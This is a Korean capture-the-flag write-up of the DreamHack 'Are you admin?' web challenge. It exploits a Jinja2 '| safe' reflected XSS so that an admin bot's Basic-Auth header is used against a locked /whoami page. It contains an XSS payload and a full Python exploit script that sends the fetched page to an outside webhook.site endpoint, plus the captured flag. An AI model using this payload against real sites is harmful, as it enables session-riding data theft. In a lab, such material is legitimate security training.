문제: DreamHack — Are you admin? 분류: Web 난이도: 🥉 Bronze 1 FLAG:
DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Are you admin? |
| 난이도 | 🥉 Bronze 1 |
| 분류 | Web (Flask + Selenium 봇) |
| 제공 파일 / 서버 | app.py 등 소스 일체 / http://<instance-host>:<port>/ (인스턴스마다 변경) |
| 핵심 취약점 / 기법 | reflected XSS로 봇의 admin Basic-Auth 헤더를 빌려 /whoami 접근 |
"Hmm... You look suspicious. Are you admin?" 플래그는 /whoami에 있는데, 거긴 admin:PASSWORD로 Basic 인증을 통과해야만 열린다. 나는 그 비밀번호를 모른다.
하지만 비밀번호를 아는 쪽이 하나 있다. 내가 신고한 URL을 admin 자격증명을 달고 직접 열어보는 봇이다. 그 봇 안에서 스크립트를 돌릴 수만 있으면, 비밀번호를 몰라도 봇의 권한으로 /whoami를 읽을 수 있다.

🔬 분석 — XSS 싱크와 봇 헤더, 그리고 잠긴 /whoami
볼 곳은 세 군데다.
1) /intro — name이 이스케이프 없이 렌더된다.
{% if name and detail %}
<p>Hello, my name is <strong>{{ name | safe }}</strong>.</p>
<p>{{ detail }}</p>
{% endif %}detail은 평범하게 {{ detail }}이라 Jinja2가 자동 이스케이프한다. 그런데 name에는 | safe 필터가 붙어 있다. 입력을 그대로 HTML로 내보낸다는 뜻이라, 여기에 <script>를 넣으면 실행된다. 반사형 XSS 싱크는 name이다.

2) /report — 봇이 admin 헤더를 달고 내 URL을 연다.
def access_page(name, detail):
user_info = f'admin:{PASSWORD}'
encoded_user_info = b64encode(user_info.encode()).decode()
...
driver.execute_cdp_cmd(
'Network.setExtraHTTPHeaders',
{'headers': {'Authorization': f'Basic {encoded_user_info}'}}
)
driver.execute_cdp_cmd('Network.enable', {})
driver.get("http://127.0.0.1:8000/")
driver.get(f"http://127.0.0.1:8000/intro?name={quote(name)}&detail={quote(detail)}")핵심은 setExtraHTTPHeaders다. 이건 봇 브라우저가 보내는 모든 요청에 Authorization: Basic base64(admin:PASSWORD)를 자동으로 얹는다. 페이지 로드든, 그 페이지 안에서 JS가 던지는 fetch든 가리지 않는다.
/report에 URL을 신고하면 봇이 그 헤더를 단 채 /intro?name=...을 연다. 즉 내 XSS가 admin 자격증명이 살아있는 컨텍스트에서 실행된다.
3) /whoami — admin이면 FLAG.
if ((id == 'admin') and (password == '[**REDACTED**]')):
message = FLAG
return render_template('whoami.html', id=id, message=message)
else:
message = "You are guest"내가 그냥 /whoami를 열면 헤더가 없어 guest:guest로 처리되고 "You are guest"만 본다.

봇은 admin 헤더를 들고 있으니, 봇이 /whoami를 fetch하면 응답에 FLAG가 담긴다. 세 조각이 한 줄로 꿰인다.

💣 핵심 — 봇에게 /whoami를 대신 읽혀서 빼돌린다
페이로드는 name에 들어간다. 봇 안에서 /whoami를 fetch하면 admin 헤더가 자동으로 붙으니, 그 응답을 외부로 흘려보내면 된다.
이 문제엔 xss-1의 /memo 같은 same-origin 저장소가 없다. 그래서 수신은 외부 endpoint(webhook.site)로 받고, 전송은 navigator.sendBeacon을 쓴다. sendBeacon은 페이지가 닫히는 와중에도 요청을 끝까지 보내줘서, 봇이 1초 뒤 종료되는 이 상황에 잘 맞는다.
<script>fetch('/whoami').then(r=>r.text()).then(t=>navigator.sendBeacon('https://webhook.site/<uuid>/',t))</script>/report 폼의 path는 서버에서 urlparse → parse_qs로 쪼개져 name/detail을 뽑는다. 그러니 path는 /intro?name=<URL인코딩한 페이로드>&detail=hi 형태로 만들어 보낸다. 페이로드 안의 &, <, > 같은 문자가 쿼리 파싱을 깨지 않도록 name 값은 인코딩해 둔다.

🚀 Full Exploit
/report에 페이로드를 신고해 봇을 돌리고, webhook.site API로 봇이 흘린 /whoami 응답을 회수한다.
#!/usr/bin/env python3
import re, time, urllib.parse, requests
BASE = "http://host8.dreamhack.games:20744"
WEBHOOK_UUID = "65bd71bc-aa1f-4cbf-88b8-218b56d14fec"
WEBHOOK = f"https://webhook.site/{WEBHOOK_UUID}/"
# name(=XSS 싱크) 페이로드: 봇이 admin 헤더로 /whoami 를 읽어 webhook 으로 통째로 흘림
payload = ("<script>fetch('/whoami').then(r=>r.text())"
f".then(t=>navigator.sendBeacon('{WEBHOOK}',t))</script>")
# /report 의 path: urlparse→parse_qs 로 name 을 뽑으므로 값은 URL 인코딩
path = "/intro?name=" + urllib.parse.quote(payload, safe="") + "&detail=hi"
# 1) 봇 트리거
r = requests.post(f"{BASE}/report", data={"path": path}, timeout=20)
print("[*] /report:", "Success" if "Success" in r.text else r.text[:120])
# 2) webhook 에서 봇이 흘린 /whoami 응답 회수
flag = None
for _ in range(10):
time.sleep(2)
api = requests.get(f"https://webhook.site/token/{WEBHOOK_UUID}/requests?sorting=newest").json()
for req in api.get("data", []):
m = re.search(r"DH\{[^}]+\}", req.get("content") or "")
if m:
flag = m.group(0); break
if flag: break
print("[+] FLAG:", flag)[*] /report: Success
[+] FLAG: DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}webhook에 도착한 본문을 열어보면, 봇이 admin으로 인증돼 받은 /whoami HTML이 그대로 들어있다.
<h1>Hello</h1>
<p><strong>ID:</strong> admin</p>
<p><strong>Message:</strong> DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}</p>
DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}📝 정리
| safe는 자동 이스케이프를 끄는 스위치다.
Jinja2는 기본적으로 출력 변수를 이스케이프해서 XSS를 막아준다. name에 붙은 | safe 한 토막이 그 보호를 정확히 그 변수에서만 꺼버렸다. 사용자 입력에 | safe를 붙이는 건 거의 항상 사고로 이어진다.
자격증명을 헤더에 박아 돌아다니는 봇은 그 자체가 권한 대리인이다.
봇은 setExtraHTTPHeaders로 admin 헤더를 모든 요청에 자동 첨부했다. 그 덕에 봇 안에서 도는 내 fetch('/whoami')에도 admin 헤더가 붙었다. 나는 비밀번호를 끝까지 몰랐지만, 비밀번호를 아는 봇에게 대신 요청을 시켜 결과만 받아냈다.
훔친 데이터의 출구는 상황에 맞게 고른다.
같은 출처에 저장소가 있으면 거기로 흘리면 되고(xss-1의 /memo), 없으면 외부 endpoint를 쓴다. 봇이 곧 종료되는 타이밍이라 sendBeacon처럼 unload에도 살아남는 전송을 골랐다. 같은 XSS여도 출구 설계는 매번 다르다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…